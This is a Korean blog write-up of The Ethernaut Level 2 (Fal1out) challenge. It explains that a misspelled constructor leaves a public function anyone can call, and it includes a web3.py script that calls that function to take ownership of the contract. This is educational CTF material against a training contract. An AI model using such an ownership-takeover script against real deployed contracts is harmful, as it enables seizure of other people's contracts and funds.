Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
Tags
- 알고리즘
- SQL Injection
- webhacking.kr
- Writeup
- 프로세스
- lordofsqlinjection
- webhackingkr
- 시스템
- 시스템프로그래밍
- XSS
- web
- SQLInjection
- SQL
- 운영체제
- CODEGATE
- CCE
- 해킹
- 화이트햇콘테스트
- ubuntu
- ctf
- crosssitescripting
- WebHacking
- hacking
- 상호배제
- rubiya
- sqli
- Python
- 웹해킹
- Linux
- Los
Archives
- Today
- Total
One_Blog
The Ethernaut - Level 2 (Fal1Out) write up 본문
728x90
상당히 쉬운 문제다.
일단 코드는 다음과 같다.
솔리디티 이전 버전에선 컨트랙트와 동일한 이름의 함수를 만들면 해당 함수가 생성자의 역할을 대신 하곤 했다.
Fal1out함수도 위에 constructor까지 적어놓은 거보면 아마 그 생각으로 만들어놓은 것 같은데..
오타가 나서 컨트랙트 이름은 Fallout인데 함수명은 Fal1out이 되어버렸다.
그래서 그냥 호출이 가능하다.
from web3 import Web3, utils
import json
from solc import *
import time
account_address = 'REDACTED'
private_key = 'REDACTED'
contract_address = 'REDACTED'
w3 = Web3(Web3.HTTPProvider('REDACTED'))
PA=w3.eth.account.from_key(private_key)
Public_Address=PA.address
print("Gas Price : ",w3.eth.gas_price)
contract_abi = [
{
"inputs": [],
"stateMutability": "payable",
"type": "function",
"name": "Fal1out",
"payable": True
}
]
contract = w3.eth.contract(address=contract_address, abi=contract_abi)
func_call = contract.functions["Fal1out"]().build_transaction({
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
"value":1000000000000,
"gasPrice": w3.eth.gas_price,
"chainId": w3.eth.chain_id,
})
signed_txn = w3.eth.account.sign_transaction(func_call, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
print(f'Transaction sent with hash: {tx_hash.hex()}')
txn_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'Transaction receipt: {txn_receipt}')
다음과 같은 코드를 실행하게 되면 Fallout컨트랙트의 Fal1out함수를 호출하게 되고,
자연스럽게 함수를 호출한 우리가 직접적으로 owner가 된다.
문제에서 요구하는 것은 컨트랙트의 owner가 되는 것이었으니,
해당 코드를 정상 동작 시킨 후 인스턴스를 제출하게 되면
매우 ez하게 문제를 풀 수 있다.
gg
'블록체인' 카테고리의 다른 글
The Ethernaut - Level 1 (FallBack) write up (2) | 2023.11.06 |
---|---|
The Ethernaut - 기본 세팅 + Level 0 [블록체인] (2) | 2023.11.03 |